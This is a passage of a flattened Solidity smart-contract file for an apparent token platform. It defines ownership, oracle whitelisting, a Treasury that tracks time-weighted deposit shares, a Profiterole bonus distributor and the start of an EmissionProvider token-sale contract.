pragma solidity ^0.4.11; /** * @title Owned contract with safe ownership pass. * * Note: all the non constant functions return false instead of throwing in case if state change * didn't happen yet. */ contract Owned { /** * Contract owner address */ address public contractOwner; /** * Contract owner address */ address public pendingContractOwner; function Owned() { contractOwner = msg.sender; } /** * @dev Owner check modifier */ modifier onlyContractOwner() { if (contractOwner == msg.sender) { _; } } /** * @dev Destroy contract and scrub a data * @notice Only owner can call it */ function destroy() onlyContractOwner { suicide(msg.sender); } /** * Prepares ownership pass. * * Can only be called by current owner. * * @param _to address of the next owner. 0x0 is not allowed. * * @return success. */ function changeContractOwnership(address _to) onlyContractOwner() returns(bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /** * Finalize ownership pass. * * Can only be called by pending owner. * * @return success. */ function claimContractOwnership() returns(bool) { if (pendingContractOwner != msg.sender) { return false; } contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } /** * @title Generic owned destroyable contract */ contract Object is Owned { /** * Common result code. Means everything is fine. */ uint constant OK = 1; uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8; function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) { for(uint i=0;i<tokens.length;i++) { address token = tokens[i]; uint balance = ERC20Interface(token).balanceOf(this); if(balance != 0) ERC20Interface(token).transfer(_to,balance); } return OK; } function checkOnlyContractOwner() internal constant returns(uint) { if (contractOwner == msg.sender) { return OK; } return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract OracleContractAdapter is Object { event OracleAdded(address _oracle); event OracleRemoved(address _oracle); mapping(address => bool) public oracles; /// @dev Allow access only for oracle modifier onlyOracle { if (oracles[msg.sender]) { _; } } modifier onlyOracleOrOwner { if (oracles[msg.sender] || msg.sender == contractOwner) { _; } } /// @notice Add oracles to whitelist. /// /// @param _whitelist user list. function addOracles(address[] _whitelist) onlyContractOwner external returns (uint) { for (uint _idx = 0; _idx < _whitelist.length; ++_idx) { address _oracle = _whitelist[_idx]; if (_oracle != 0x0 && !oracles[_oracle]) { oracles[_oracle] = true; _emitOracleAdded(_oracle); } } return OK; } /// @notice Removes oracles from whitelist. /// /// @param _blacklist user in whitelist. function removeOracles(address[] _blacklist) onlyContractOwner external returns (uint) { for (uint _idx = 0; _idx < _blacklist.length; ++_idx) { address _oracle = _blacklist[_idx]; if (_oracle != 0x0 && oracles[_oracle]) { delete oracles[_oracle]; _emitOracleRemoved(_oracle); } } return OK; } function _emitOracleAdded(address _oracle) internal { OracleAdded(_oracle); } function _emitOracleRemoved(address _oracle) internal { OracleRemoved(_oracle); } } /// @title ServiceAllowance. /// /// Provides a way to delegate operation allowance decision to a service contract contract ServiceAllowance { function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool); } /// @title DepositWalletInterface /// /// Defines an interface for a wallet that can be deposited/withdrawn by 3rd contract contract DepositWalletInterface { function deposit(address _asset, address _from, uint256 amount) public returns (uint); function withdraw(address _asset, address _to, uint256 amount) public returns (uint); } contract ProfiteroleEmitter { event DepositPendingAdded(uint amount, address from, uint timestamp); event BonusesWithdrawn(bytes32 userKey, uint amount, uint timestamp); event Error(uint errorCode); function _emitError(uint _errorCode) internal returns (uint) { Error(_errorCode); return _errorCode; } } contract TreasuryEmitter { event TreasuryDeposited(bytes32 userKey, uint value, uint lockupDate); event TreasuryWithdrawn(bytes32 userKey, uint value); } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } /// @title Treasury contract. /// /// Treasury for CCs deposits for particular fund with bmc-days calculations. /// Accept BMC deposits from Continuous Contributors via oracle and /// calculates bmc-days metric for each CC's role. contract Treasury is OracleContractAdapter, ServiceAllowance, TreasuryEmitter { /* ERROR CODES */ uint constant PERCENT_PRECISION = 10000; uint constant TREASURY_ERROR_SCOPE = 108000; uint constant TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE = TREASURY_ERROR_SCOPE + 1; using SafeMath for uint; struct LockedDeposits { uint counter; mapping(uint => uint) index2Date; mapping(uint => uint) date2deposit; } struct Period { uint transfersCount; uint totalBmcDays; uint bmcDaysPerDay; uint startDate; mapping(bytes32 => uint) user2bmcDays; mapping(bytes32 => uint) user2lastTransferIdx; mapping(bytes32 => uint) user2balance; mapping(uint => uint) transfer2date; } /* FIELDS */ address token; address profiterole; uint periodsCount; mapping(uint => Period) periods; mapping(uint => uint) periodDate2periodIdx; mapping(bytes32 => uint) user2lastPeriodParticipated; mapping(bytes32 => LockedDeposits) user2lockedDeposits; /* MODIFIERS */ /// @dev Only profiterole contract allowed to invoke guarded functions modifier onlyProfiterole { require(profiterole == msg.sender); _; } /* PUBLIC */ function Treasury(address _token) public { require(address(_token) != 0x0); token = _token; periodsCount = 1; } function init(address _profiterole) public onlyContractOwner returns (uint) { require(_profiterole != 0x0); profiterole = _profiterole; return OK; } /// @notice Do not accept Ether transfers function() payable public { revert(); } /* EXTERNAL */ /// @notice Deposits tokens on behalf of users /// Allowed only for oracle. /// /// @param _userKey aggregated user key (user ID + role ID) /// @param _value amount of tokens to deposit /// @param _feeAmount amount of tokens that will be taken from _value as fee /// @param _feeAddress destination address for fee transfer /// @param _lockupDate lock up date for deposit. Until that date the deposited value couldn't be withdrawn /// /// @return result code of an operation function deposit(bytes32 _userKey, uint _value, uint _feeAmount, address _feeAddress, uint _lockupDate) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); ERC20 _token = ERC20(token); if (_token.allowance(msg.sender, address(this)) < _value) { return TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE; } uint _depositedAmount = _value - _feeAmount; _makeDepositForPeriod(_userKey, _depositedAmount, _lockupDate); uint _periodsCount = periodsCount; user2lastPeriodParticipated[_userKey] = _periodsCount; delete periods[_periodsCount].startDate; if (!_token.transferFrom(msg.sender, address(this), _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) { revert(); } TreasuryDeposited(_userKey, _depositedAmount, _lockupDate); return OK; } /// @notice Withdraws deposited tokens on behalf of users /// Allowed only for oracle /// /// @param _userKey aggregated user key (user ID + role ID) /// @param _value an amount of tokens that is requrested to withdraw /// @param _withdrawAddress address to withdraw; should not be 0x0 /// @param _feeAmount amount of tokens that will be taken from _value as fee /// @param _feeAddress destination address for fee transfer /// /// @return result of an operation function withdraw(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); _makeWithdrawForPeriod(_userKey, _value); uint _periodsCount = periodsCount; user2lastPeriodParticipated[_userKey] = periodsCount; delete periods[_periodsCount].startDate; ERC20 _token = ERC20(token); if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) { revert(); } uint _withdrawnAmount = _value - _feeAmount; if (!_token.transfer(_withdrawAddress, _withdrawnAmount)) { revert(); } TreasuryWithdrawn(_userKey, _withdrawnAmount); return OK; } /// @notice Gets shares (in percents) the user has on provided date /// /// @param _userKey aggregated user key (user ID + role ID) /// @param _date date where period ends /// /// @return percent from total amount of bmc-days the treasury has on this date. /// Use PERCENT_PRECISION to get right precision function getSharesPercentForPeriod(bytes32 _userKey, uint _date) public view returns (uint) { uint _periodIdx = periodDate2periodIdx[_date]; if (_date != 0 && _periodIdx == 0) { return 0; } if (_date == 0) { _date = now; _periodIdx = periodsCount; } uint _bmcDays = _getBmcDaysAmountForUser(_userKey, _date, _periodIdx); uint _totalBmcDeposit = _getTotalBmcDaysAmount(_date, _periodIdx); return _totalBmcDeposit != 0 ? _bmcDays * PERCENT_PRECISION / _totalBmcDeposit : 0; } /// @notice Gets user balance that is deposited /// @param _userKey aggregated user key (user ID + role ID) /// @return an amount of tokens deposited on behalf of user function getUserBalance(bytes32 _userKey) public view returns (uint) { uint _lastPeriodForUser = user2lastPeriodParticipated[_userKey]; if (_lastPeriodForUser == 0) { return 0; } if (_lastPeriodForUser <= periodsCount.sub(1)) { return periods[_lastPeriodForUser].user2balance[_userKey]; } return periods[periodsCount].user2balance[_userKey]; } /// @notice Gets amount of locked deposits for user /// @param _userKey aggregated user key (user ID + role ID) /// @return an amount of tokens locked function getLockedUserBalance(bytes32 _userKey) public returns (uint) { return _syncLockedDepositsAmount(_userKey); } /// @notice Gets list of locked up deposits with dates when they will be available to withdraw /// @param _userKey aggregated user key (user ID + role ID) /// @return { /// "_lockupDates": "list of lockup dates of deposits", /// "_deposits": "list of deposits" /// } function getLockedUserDeposits(bytes32 _userKey) public view returns (uint[] _lockupDates, uint[] _deposits) { LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey]; uint _lockedDepositsCounter = _lockedDeposits.counter; _lockupDates = new uint[](_lockedDepositsCounter); _deposits = new uint[](_lockedDepositsCounter); uint _pointer = 0; for (uint _idx = 1; _idx < _lockedDepositsCounter; ++_idx) { uint _lockDate = _lockedDeposits.index2Date[_idx]; if (_lockDate > now) { _lockupDates[_pointer] = _lockDate; _deposits[_pointer] = _lockedDeposits.date2deposit[_lockDate]; ++_pointer; } } } /// @notice Gets total amount of bmc-day accumulated due provided date /// @param _date date where period ends /// @return an amount of bmc-days function getTotalBmcDaysAmount(uint _date) public view returns (uint) { return _getTotalBmcDaysAmount(_date, periodsCount); } /// @notice Makes a checkpoint to start counting a new period /// @dev Should be used only by Profiterole contract function addDistributionPeriod() public onlyProfiterole returns (uint) { uint _periodsCount = periodsCount; uint _nextPeriod = _periodsCount.add(1); periodDate2periodIdx[now] = _periodsCount; Period storage _previousPeriod = periods[_periodsCount]; uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount); periods[_nextPeriod].startDate = now; periods[_nextPeriod].bmcDaysPerDay = _previousPeriod.bmcDaysPerDay; periods[_nextPeriod].totalBmcDays = _totalBmcDeposit; periodsCount = _nextPeriod; return OK; } function isTransferAllowed(address, address, address, address, uint) public view returns (bool) { return true; } /* INTERNAL */ function _makeDepositForPeriod(bytes32 _userKey, uint _value, uint _lockupDate) internal { Period storage _transferPeriod = periods[periodsCount]; _transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, periodsCount); _transferPeriod.totalBmcDays = _getTotalBmcDaysAmount(now, periodsCount); _transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.add(_value); uint _userBalance = getUserBalance(_userKey); uint _updatedTransfersCount = _transferPeriod.transfersCount.add(1); _transferPeriod.transfersCount = _updatedTransfersCount; _transferPeriod.transfer2date[_transferPeriod.transfersCount] = now; _transferPeriod.user2balance[_userKey] = _userBalance.add(_value); _transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransfersCount; _registerLockedDeposits(_userKey, _value, _lockupDate); } function _makeWithdrawForPeriod(bytes32 _userKey, uint _value) internal { uint _userBalance = getUserBalance(_userKey); uint _lockedBalance = _syncLockedDepositsAmount(_userKey); require(_userBalance.sub(_lockedBalance) >= _value); uint _periodsCount = periodsCount; Period storage _transferPeriod = periods[_periodsCount]; _transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, _periodsCount); uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount); _transferPeriod.totalBmcDays = _totalBmcDeposit; _transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.sub(_value); uint _updatedTransferCount = _transferPeriod.transfersCount.add(1); _transferPeriod.transfer2date[_updatedTransferCount] = now; _transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransferCount; _transferPeriod.user2balance[_userKey] = _userBalance.sub(_value); _transferPeriod.transfersCount = _updatedTransferCount; } function _registerLockedDeposits(bytes32 _userKey, uint _amount, uint _lockupDate) internal { if (_lockupDate <= now) { return; } LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey]; uint _lockedBalance = _lockedDeposits.date2deposit[_lockupDate]; if (_lockedBalance == 0) { uint _lockedDepositsCounter = _lockedDeposits.counter.add(1); _lockedDeposits.counter = _lockedDepositsCounter; _lockedDeposits.index2Date[_lockedDepositsCounter] = _lockupDate; } _lockedDeposits.date2deposit[_lockupDate] = _lockedBalance.add(_amount); } function _syncLockedDepositsAmount(bytes32 _userKey) internal returns (uint _lockedSum) { LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey]; uint _lockedDepositsCounter = _lockedDeposits.counter; for (uint _idx = 1; _idx <= _lockedDepositsCounter; ++_idx) { uint _lockDate = _lockedDeposits.index2Date[_idx]; if (_lockDate <= now) { _lockedDeposits.index2Date[_idx] = _lockedDeposits.index2Date[_lockedDepositsCounter]; delete _lockedDeposits.index2Date[_lockedDepositsCounter]; delete _lockedDeposits.date2deposit[_lockDate]; _lockedDepositsCounter = _lockedDepositsCounter.sub(1); continue; } _lockedSum = _lockedSum.add(_lockedDeposits.date2deposit[_lockDate]); } _lockedDeposits.counter = _lockedDepositsCounter; } function _getBmcDaysAmountForUser(bytes32 _userKey, uint _date, uint _periodIdx) internal view returns (uint) { uint _lastPeriodForUserIdx = user2lastPeriodParticipated[_userKey]; if (_lastPeriodForUserIdx == 0) { return 0; } Period storage _transferPeriod = _lastPeriodForUserIdx <= _periodIdx ? periods[_lastPeriodForUserIdx] : periods[_periodIdx]; uint _lastTransferDate = _transferPeriod.transfer2date[_transferPeriod.user2lastTransferIdx[_userKey]]; // NOTE: It is an intended substraction separation to correctly round dates uint _daysLong = (_date / 1 days) - (_lastTransferDate / 1 days); uint _bmcDays = _transferPeriod.user2bmcDays[_userKey]; return _bmcDays.add(_transferPeriod.user2balance[_userKey] * _daysLong); } /* PRIVATE */ function _getTotalBmcDaysAmount(uint _date, uint _periodIdx) private view returns (uint) { Period storage _depositPeriod = periods[_periodIdx]; uint _transfersCount = _depositPeriod.transfersCount; uint _lastRecordedDate = _transfersCount != 0 ? _depositPeriod.transfer2date[_transfersCount] : _depositPeriod.startDate; if (_lastRecordedDate == 0) { return 0; } // NOTE: It is an intended substraction separation to correctly round dates uint _daysLong = (_date / 1 days).sub((_lastRecordedDate / 1 days)); uint _totalBmcDeposit = _depositPeriod.totalBmcDays.add(_depositPeriod.bmcDaysPerDay.mul(_daysLong)); return _totalBmcDeposit; } } /// @title Profiterole contract /// Collector and distributor for creation and redemption fees. /// Accepts bonus tokens from EmissionProvider, BurningMan or other distribution source. /// Calculates CCs shares in bonuses. Uses Treasury Contract as source of shares in bmc-days. /// Allows to withdraw bonuses on request. contract Profiterole is OracleContractAdapter, ServiceAllowance, ProfiteroleEmitter { uint constant PERCENT_PRECISION = 10000; uint constant PROFITEROLE_ERROR_SCOPE = 102000; uint constant PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE = PROFITEROLE_ERROR_SCOPE + 1; uint constant PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE = PROFITEROLE_ERROR_SCOPE + 2; uint constant PROFITEROLE_ERROR_TRANSFER_ERROR = PROFITEROLE_ERROR_SCOPE + 3; using SafeMath for uint; struct Balance { uint left; bool initialized; } struct Deposit { uint balance; uint left; uint nextDepositDate; mapping(bytes32 => Balance) leftToWithdraw; } struct UserBalance { uint lastWithdrawDate; } mapping(address => bool) distributionSourcesList; mapping(bytes32 => UserBalance) bonusBalances; mapping(uint => Deposit) public distributionDeposits; uint public firstDepositDate; uint public lastDepositDate; address public bonusToken; address public treasury; address public wallet; /// @dev Guards functions only for distributionSource invocations modifier onlyDistributionSource { if (!distributionSourcesList[msg.sender]) { revert(); } _; } function Profiterole(address _bonusToken, address _treasury, address _wallet) public { require(_bonusToken != 0x0); require(_treasury != 0x0); require(_wallet != 0x0); bonusToken = _bonusToken; treasury = _treasury; wallet = _wallet; } function() payable public { revert(); } /* EXTERNAL */ /// @notice Sets new treasury address /// Only for contract owner. function updateTreasury(address _treasury) external onlyContractOwner returns (uint) { require(_treasury != 0x0); treasury = _treasury; return OK; } /// @notice Sets new wallet address for profiterole /// Only for contract owner. function updateWallet(address _wallet) external onlyContractOwner returns (uint) { require(_wallet != 0x0); wallet = _wallet; return OK; } /// @notice Add distribution sources to whitelist. /// /// @param _whitelist addresses list. function addDistributionSources(address[] _whitelist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _whitelist.length; ++_idx) { distributionSourcesList[_whitelist[_idx]] = true; } return OK; } /// @notice Removes distribution sources from whitelist. /// Only for contract owner. /// /// @param _blacklist addresses in whitelist. function removeDistributionSources(address[] _blacklist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _blacklist.length; ++_idx) { delete distributionSourcesList[_blacklist[_idx]]; } return OK; } /// @notice Allows to withdraw user's bonuses that he deserves due to Treasury shares for /// every distribution period. /// Only oracles allowed to invoke this function. /// /// @param _userKey aggregated user key (user ID + role ID) on behalf of whom bonuses will be withdrawn /// @param _value an amount of tokens to withdraw /// @param _withdrawAddress destination address of withdrawal (usually user's address) /// @param _feeAmount an amount of fee that will be taken from resulted _value /// @param _feeAddress destination address of fee transfer /// /// @return result code of an operation function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } /* PUBLIC */ /// @notice Gets total amount of bonuses user has during all distribution periods /// @param _userKey aggregated user key (user ID + role ID) /// @return _sum available amount of bonuses to withdraw function getTotalBonusesAmountAvailable(bytes32 _userKey) public view returns (uint _sum) { uint _startDate = _getCalculationStartDate(_userKey); Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { Deposit storage _pendingDeposit = distributionDeposits[_startDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; if (_userBalance.initialized) { _sum = _sum.add(_userBalance.left); } else { uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _startDate); _sum = _sum.add(_pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION)); } } } /// @notice Gets an amount of bonuses user has for concrete distribution date /// @param _userKey aggregated user key (user ID + role ID) /// @param _distributionDate date of distribution operation /// @return available amount of bonuses to withdraw for selected distribution date function getBonusesAmountAvailable(bytes32 _userKey, uint _distributionDate) public view returns (uint) { Deposit storage _deposit = distributionDeposits[_distributionDate]; if (_deposit.leftToWithdraw[_userKey].initialized) { return _deposit.leftToWithdraw[_userKey].left; } uint _sharesPercent = Treasury(treasury).getSharesPercentForPeriod(_userKey, _distributionDate); return _deposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); } /// @notice Gets total amount of deposits that has left after users' bonus withdrawals /// @return amount of deposits available for bonus payments function getTotalDepositsAmountLeft() public view returns (uint _amount) { uint _lastDepositDate = lastDepositDate; for ( uint _startDate = firstDepositDate; _startDate <= _lastDepositDate || _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { _amount = _amount.add(distributionDeposits[_startDate].left); } } /// @notice Gets an amount of deposits that has left after users' bonus withdrawals for selected date /// @param _distributionDate date of distribution operation /// @return amount of deposits available for bonus payments for concrete distribution date function getDepositsAmountLeft(uint _distributionDate) public view returns (uint _amount) { return distributionDeposits[_distributionDate].left; } /// @notice Makes checkmark and deposits tokens on profiterole account /// to pay them later as bonuses for Treasury shares holders. Timestamp of transaction /// counts as the distribution period date. /// Only addresses that were added as a distributionSource are allowed to call this function. /// /// @param _amount an amount of tokens to distribute /// /// @return result code of an operation. /// PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE, PROFITEROLE_ERROR_TRANSFER_ERROR errors /// are possible function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function isTransferAllowed(address, address, address, address, uint) public view returns (bool) { return false; } /* PRIVATE */ function _getCalculationStartDate(bytes32 _userKey) private view returns (uint _startDate) { _startDate = bonusBalances[_userKey].lastWithdrawDate; return _startDate != 0 ? _startDate : firstDepositDate; } function _withdrawBonuses(bytes32 _userKey, uint _value) private returns (uint) { uint _startDate = _getCalculationStartDate(_userKey); uint _lastWithdrawDate = _startDate; Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0 && _value > 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { uint _balanceToWithdraw = _withdrawBonusesFromDeposit(_userKey, _startDate, _value, _treasury); _value = _value.sub(_balanceToWithdraw); } if (_lastWithdrawDate != _startDate) { bonusBalances[_userKey].lastWithdrawDate = _lastWithdrawDate; } if (_value > 0) { revert(); } return OK; } function _withdrawBonusesFromDeposit(bytes32 _userKey, uint _periodDate, uint _value, Treasury _treasury) private returns (uint) { Deposit storage _pendingDeposit = distributionDeposits[_periodDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; uint _balanceToWithdraw; if (_userBalance.initialized) { _balanceToWithdraw = _userBalance.left; } else { uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _periodDate); _balanceToWithdraw = _pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); _userBalance.initialized = true; } if (_balanceToWithdraw > _value) { _userBalance.left = _balanceToWithdraw - _value; _balanceToWithdraw = _value; } else { delete _userBalance.left; } _pendingDeposit.left = _pendingDeposit.left.sub(_balanceToWithdraw); return _balanceToWithdraw; } } /// @title EmissionProviderEmitter /// /// Organizes and provides a set of events specific for EmissionProvider's role contract EmissionProviderEmitter { event Error(uint errorCode); event Emission(bytes32 smbl, address to, uint value); event HardcapFinishedManually(); event Destruction(); function _emitError(uint _errorCode) internal returns (uint) { Error(_errorCode); return _errorCode; } function _emitEmission(bytes32 _smbl, address _to, uint _value) internal { Emission(_smbl, _to, _value); } function _emitHardcapFinishedManually() internal { HardcapFinishedManually(); } function _emitDestruction() internal { Destruction(); } } contract Token is ERC20 { bytes32 public smbl; address public platform; function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool); function __approve(address _spender, uint _value, address _sender) public returns (bool); function getLatestVersion() public returns (address); function init(address _bmcPlatform, string _symbol, string _name) public; function proposeUpgrade(address _newVersion) public; } contract Platform { mapping(bytes32 => address) public proxies; function name(bytes32 _symbol) public view returns (string); function setProxy(address _address, bytes32 _symbol) public returns (uint errorCode); function isOwner(address _owner, bytes32 _symbol) public view returns (bool); function totalSupply(bytes32 _symbol) public view returns (uint); function balanceOf(address _holder, bytes32 _symbol) public view returns (uint); function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint); function baseUnit(bytes32 _symbol) public view returns (uint8); function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode); function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode); function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns (uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint errorCode); function reissueAsset(bytes32 _symbol, uint _value) public returns (uint errorCode); function revokeAsset(bytes32 _symbol, uint _value) public returns (uint errorCode); function isReissuable(bytes32 _symbol) public view returns (bool); function changeOwnership(bytes32 _symbol, address _newOwner) public returns (uint errorCode); } /// @title EmissionProvider. /// /// Provides participation registration and token volume issuance called Emission Event. /// Full functionality of EmissionProvider issuance will be available after adding a smart contract /// as part-owner of an ATx asset in asset's platform contract EmissionProvider is OracleContractAdapter, ServiceAllowance, EmissionProviderEmitter { uint constant EMISSION_PROVIDER_ERROR_SCOPE = 107000; uint constant EMISSION_PROVIDER_ERROR_WRONG_STATE = EMISSION_PROVIDER_ERROR_SCOPE + 1; uint constant EMISSION_PROVIDER_ERROR_INSUFFICIENT_BMC = EMISSION_PROVIDER_ERROR_SCOPE + 2; uint constant EMISSION_PROVIDER_ERROR_INTERNAL = EMISSION_PROVIDER_ERROR_SCOPE + 3; using SafeMath for uint; enum State { Init, Waiting, Sale, Reached, Destructed } uint public startDate; uint public endDate; uint public tokenSoftcapIssued; uint public tokenSoftcap; uint tokenHardcapIssuedValue; uint tokenHardcapValue; address public token; address public bonusToken; address public profiterole; mapping(address => bool) public whitelist; bool public destructed; bool finishedHardcap; bool needInitialization; /// @dev Deny any access except during sale period (it's time for sale && hardcap haven't reached yet) modifier onlySale { var (hardcapState, softcapState) = getState(); if (!(State.Sale == hardcapState || State.Sale == softcapState)) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Deny any access before all sales will be finished modifier onlySaleFinished { var (hardcapState, softcapState) = getState(); if (hardcapState < State.Reached || softcapState < State.Reached) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Deny any access before hardcap will be reached modifier notHardcapReached { var (state,) = getState(); if (state >= State.Reached) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Deny any access before softcap will be reached modifier notSoftcapReached { var (, state) = getState(); if (state >= State.Reached) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Guards from calls to the contract in destructed state modifier notDestructed { if (destructed) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Deny any access except the contract is not in init state modifier onlyInit { var (state,) = getState(); if (state != State.Init) { _emitError(EMISSION_PROVIDER_ERROR_WRONG_STATE); assembly { mstore(0, 107001) // EMISSION_PROVIDER_ERROR_WRONG_STATE return (0, 32) } } _; } /// @dev Allow access only for whitelisted users modifier onlyAllowed(address _account) { if (whitelist[_account]) { _; } } /// @notice Constructor for EmissionProvider. /// /// @param _token token that will be served by EmissionProvider /// @param _bonusToken shares token used for fee distribution /// @param _profiterole address of fee destination /// @param _startDate start date of emission event /// @param _endDate end date of emission event /// @param _tokenHardcap max amount of tokens that are allowed to issue. After reaching this number emission will be stopped. function EmissionProvider( address _token, address _bonusToken, address _profiterole, uint _startDate, uint _endDate, uint _tokenSoftcap, uint _tokenHardcap ) public { require(_token != 0x0); require(_bonusToken != 0x0); require(_profiterole != 0x0); require(_startDate != 0); require(_endDate > _startDate); require(_tokenSoftcap != 0); require(_tokenHardcap >= _tokenSoftcap); require(Profiterole(_profiterole).bonusToken() == _bonusToken); token = _token; bonusToken = _bonusToken; profiterole = _profiterole; startDate = _startDate; endDate = _endDate; tokenSoftcap = _tokenSoftcap; tokenHardcapValue = _tokenHardcap - _tokenSoftcap; needInitialization = true; } /// @dev Payable function. Don't accept any Ether function() public payable { revert(); } /// @notice Initialization /// Issue new ATx tokens for Softcap. After contract goes in 